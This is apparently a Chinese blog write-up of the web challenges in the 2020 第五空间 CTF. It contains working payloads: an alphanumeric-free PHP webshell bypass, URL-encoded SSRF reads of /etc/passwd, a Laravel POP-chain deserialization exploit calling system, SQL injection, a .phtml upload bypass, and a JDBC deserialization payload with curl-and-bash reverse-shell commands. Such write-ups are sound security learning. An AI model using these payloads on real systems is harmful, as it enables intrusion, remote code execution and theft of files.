sky's blog

2020 第五空间 Web Writeup

字数统计: 2,436阅读时长: 12 min
2020/06/24 Share

前言

近日参加了第五空间的比赛,以下是比赛中Web的所有题解。

hate-php

拿到题目后,题目给出了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
die('You are too good for me');
}
$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}
assert($code);
}

不难发现题目中有2项过滤,一个是正则匹配:

1
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code))

另一个是黑名单函数禁用:

1
2
3
4
5
6
$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}

这里考虑使用无字母webshell进行bypass,详细文章参考:

1
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

我们进行如下构造:

1
2
var_dump   ~%89%9E%8D%A0%9B%8A%92%8F
scandir ~%8C%9C%9E%91%9B%96%8D

然后将其组合在一起,并列举当前目录:

1
http://121.36.74.163/?code=(~%89%9E%8D%A0%9B%8A%92%8F)((~%8C%9C%9E%91%9B%96%8D)(~%D1))

得到回显如下:

1
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(9) "index.php" }

读取flag.php:

1
2
readfile    %8D%9A%9E%9B%99%96%93%9A
flag.php %99%93%9E%98%D1%8F%97%8F

访问:

1
http://121.36.74.163/?code=(~%8D%9A%9E%9B%99%96%93%9A)(~%99%93%9E%98%D1%8F%97%8F)

随即得到flag:

1
2
<?php
$flag = 'flag{ecee9b5f24f8aede87cdda995fed079c}';

do you know

题目上来也给予了源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
highlight_file(__FILE__);
#本题无法访问外网
#这题真没有其他文件,请不要再开目录扫描器了,有的文件我都在注释里面告诉你们了
#各位大佬...这题都没有数据库的存在...麻烦不要用工具扫我了好不好
#there is xxe.php
$poc=$_SERVER['QUERY_STRING'];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
die("no hacker");
}
$ids=explode('&',$poc);
$a_key=explode('=',$ids[0])[0];
$b_key=explode('=',$ids[1])[0];
$a_value=explode('=',$ids[0])[1];
$b_value=explode('=',$ids[1])[1];

if(!$a_key||!$b_key||!$a_value||!$b_value)
{
die('我什么都没有~');
}
if($a_key==$b_key)
{
die("trick");
}

if($a_value!==$b_value)
{
if(count($_GET)!=1)
{
die('be it so');
}
}
foreach($_GET as $key=>$value)
{
$url=$value;
}

$ch = curl_init();
if ($type != 'file') {
#add_debug_log($param, 'post_data');
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
} else {
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 180);
}

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// 设置header
if ($type == 'file') {
$header[] = "content-type: multipart/form-data; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
} elseif ($type == 'xml') {
curl_setopt($ch, CURLOPT_HEADER, false);
} elseif ($has_json) {
$header[] = "content-type: application/json; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
}

// curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
// dump($param);
curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
// 要求结果为字符串且输出到屏幕上
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// 使用证书:cert 与 key 分别属于两个.pem文件


$res = curl_exec($ch);
var_dump($res);

我们发现index.php中有一个curl的功能,同时提示我们有xxe.php的页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
#这题和命令执行无关,请勿尝试
#there is main.php and hints.php
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
die('show me your identify');
}
libxml_disable_entity_loader(false);
$data = isset($_POST['data'])?trim($_POST['data']):'';
$data = preg_replace("/file|flag|write|xxe|test|rot13|utf|print|system|quoted|read|string|ASCII|ISO|CP1256|cs_CZ|en_AU|dtd|mcrypt|zlib/i",'',$data);
$resp = '';
if($data != false){
$dom = new DOMDocument();
$dom->loadXML($data, LIBXML_NOENT);
ob_start();
var_dump($dom);
$resp = ob_get_contents();
ob_end_clean();

}
?>

同时看到题目提示main.php和hints.php,那么考虑应该使用XXE进行读取,但有Ip限制:

1
2
3
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
die('show me your identify');
}

因此考虑使用index.php的curl功能进行bypass,进行SSRF+XXE。
但是遗憾的是,在分析题目waf,尝试bypass时,发现题目的一些弊端:

1
2
3
4
$poc=$_SERVER['QUERY_STRING'];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
die("no hacker");
}

我们看到index.php的限制,发现其没有考虑urldecode的问题,那么导致我们可以使用url编码进行绕过,从而可以使用file或者flag等关键词:

1
2
3
file:///etc/passwd

%66%69%6c%65%3a%2f%2f%2f%65%74%63%2f%70%61%73%73%77%64

因此,只要可以进行curl请求,那么我们就可以直接读取hints.php或者main.php,题目出现较为严重的非预期。
那么如何使用curl的功能呢?我们同样可以使用url编码进行绕过:

1
/?%75rl=skysec&url=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70

至此我们就可以读取任意文件内容了,首先读取file:///etc/passwd,进行测试:

1
/?%75rl=skysec&url=%66%69%6c%65%3a%2f%2f%2f%65%74%63%2f%70%61%73%73%77%64


发现页面成功回显,那么尝试读取hints.php,这里使用常见web目录/var/www/html:

1
/?%75rl=skysec&url=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%68%69%6e%74%73%2e%70%68%70


再读main.php:

1
/?%75rl=skysec&url=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%6d%61%69%6e%2e%70%68%70


发现存在flag.php,于是读取:

1
/?%75rl=skysec&url=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70


随即拿到flag。

laravel

又是一道laravel pop chain的寻找题,这题都出烂了啊= =,感觉laraval已经被CTF日穿了,233333.
首先看到laraval版本号:

然而我们最常用的PendingCommand类的destruct方法已经被禁止了。于是搜寻新chain,这里同样还是从destruct方法切入,全局搜索destruct方法,发现如下路径中,存在ImportConfigurator类,其拥有destruct方法:

1
Loader/Configurator/ImportConfigurator.php


其中destruct方法中,parent属性调用了addCollection方法,同时parent可控,那么此时如果找到一个拥有call函数的类,并将parent赋值为其对象,即可触发call,于是我们全局搜索call方法:
发现在如下路径中,存在Generator类:

1
src/Faker/Generator.php


其具有__call方法,我们再跟进format方法:

发现存在敏感调用点:

1
call_user_func_array

至此我们可以想到构造链为:

1
2
3
4
5
6
7
ImportConfigurator  __destruct
->
Generator __call
->
Generator format
->
call_user_func_array

但在简单构造后,我们本地测试,可以发现如下报错:

查看Generator类相应源码:

发现我们可以利用数组进行bypass:

1
2
3
class Generator{
protected $formatters = array('addCollection'=>'system');
}

那么可以容易构造出如下exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

namespace Faker
{
class Generator{
protected $formatters = array('addCollection'=>'system');
}
}

namespace Symfony\Component\Routing\Loader\Configurator
{
class ImportConfigurator
{
private $parent;
private $route;
public function __construct($parent, $route)
{
$this->parent = $parent;
$this->route = $route;
}
}
}
namespace RCE
{
$a = new \Faker\Generator();
$b = new \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($a,'RCE CMD');
$exp = serialize($b);
echo urlencode($exp);
}

首先列目录:

再读根目录:

发现flag文件,并读取:

美团外卖

首先进行目录扫描,发现www.zip文件泄露,随即进行代码审计,发现daochu.php功能非常可疑,同时不需要登录,并且存在sql注入点:

1
2
3
4
5
6
7
8
9
10
11
if($type==1){
$biao='content';
$result = mysqli_query($link,'select * from '.$biao.' where imei="'.$imei.'" and imei2="'.$imei2.'"');

echo '<table border="1">';
echo '<tr><th>user</th><th>code</th><th>name</th><th>phonenumber</th></tr>';
while ($row = mysqli_fetch_assoc($result)){
echo "<tr><td>".$row['imei']."</td><td>".$row['imei2']."</td><td>".$row['name']."</td><td>".$row['tel']."</td></tr>";
}
echo '</table>';
}

此时我们发现$type,$imei,$imei2均为可控点:

1
2
3
4
5
6
7
8
9
10
11
header("Content-type: text/html; charset=utf-8");
require_once('common/Db.php');
header("Content-Type: application/xls");
$type=$_GET['type'];
if($type==1){$a='通讯录';}
if($type==2){$a='短信';}
header("Content-Disposition: attachment; filename=".$_GET['imei']."-".$a.".xls");
header("Pragma: no-cache");
header("Expires: 0");
$imei=$_GET['imei'];
$imei2=$_GET['imei2'];

同时sql查询无过滤,于是尝试读取信息,发现数据库中存在hint表:

在其中得知一个目录信息,在该目录下,我们发现源码中存在的组件lib/webuploader/0.1.5/server/preview.php,可以使用,而在最初的目录是不可用的。
同时该组件存在一些上传漏洞,参考链接如下:

1
https://9finger.cn/2020/03/06/CNVD-2018-26054%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

但是由于过滤了php,于是我们选择使用phtml进行bypass:

题目又给了下一个文件,我们访问后,提示我们需要传入file参数,于是测试:

发现可以读取/etc/passwd,那么尝试读取flag文件:

zzm’s blog

题目给予了pom.xml的文件,我们查看发现:

题目使用了jackson-databind 2.9.8,但是其存在CVE-2019-12086的隐患。于是可以参考链接:

1
https://paper.seebug.org/1227/#71-fnmsd

发现有现成工具可用:

1
https://github.com/fnmsd/MySQL_Fake_Server

其可以帮助我们进行反序列化攻击,于是将其部署,同时发现题目存在commons-collections:

于是我们使用ysoserial的CommonsCollections chain进行测试,这里我选择了CommonsCollections5:

1
GET /?query={"id"%3a["com.mysql.cj.jdbc.admin.MiniAdmin",+"jdbc%3amysql%3a//vps_ip%3a23334/test%3fautoDeserialize%3dtrue%26queryInterceptors%3dcom.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26user%3dyso_CommonsCollections5_bash+-c+{echo,base64_cmd}|{base64,-d}|{bash,-i}"]}

发现可以成功打通,于是执行如下命令,尝试反弹shell

1
2
curl -o/tmp/evil vps
/bin/bash /tmp/evil

让目标服务器来访问恶意文件并保存至/tmp目录下,再执行进行shell反弹:

然后可以轻松获取flag:

1
flag{90d88050-42fc-4dc6-9b10-b40b82e44495}

后记

总的来说,比赛比去年举办的有些意思了,至少没有一直发生宕机,或者出题人自己都不懂题目原理的情况,像laravel的chain的寻找和zzm’s blog的cve复现,感觉都还行~

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. hate-php
  3. 3. do you know
  4. 4. laravel
  5. 5. 美团外卖
  6. 6. zzm’s blog
  7. 7. 后记